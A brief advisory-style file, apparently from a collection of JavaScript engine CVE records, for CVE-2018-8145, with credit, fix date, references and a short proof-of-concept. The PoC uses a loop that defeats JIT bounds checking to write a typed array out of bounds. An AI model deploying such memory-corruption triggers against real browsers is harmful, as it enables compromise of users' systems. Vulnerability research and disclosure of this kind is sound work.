CVE-2018-8145.md

CVE-2018-8145

• Fix: July 2018
• Credit: lokihardt of Google Project Zero

PoC

let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
    for (let j = 0; j < 1; j++) {
        i--;
        i++;
    }

    arr[i] = 0x1234;
}

Reference

• Microsoft
• Google Project Zero
• Fix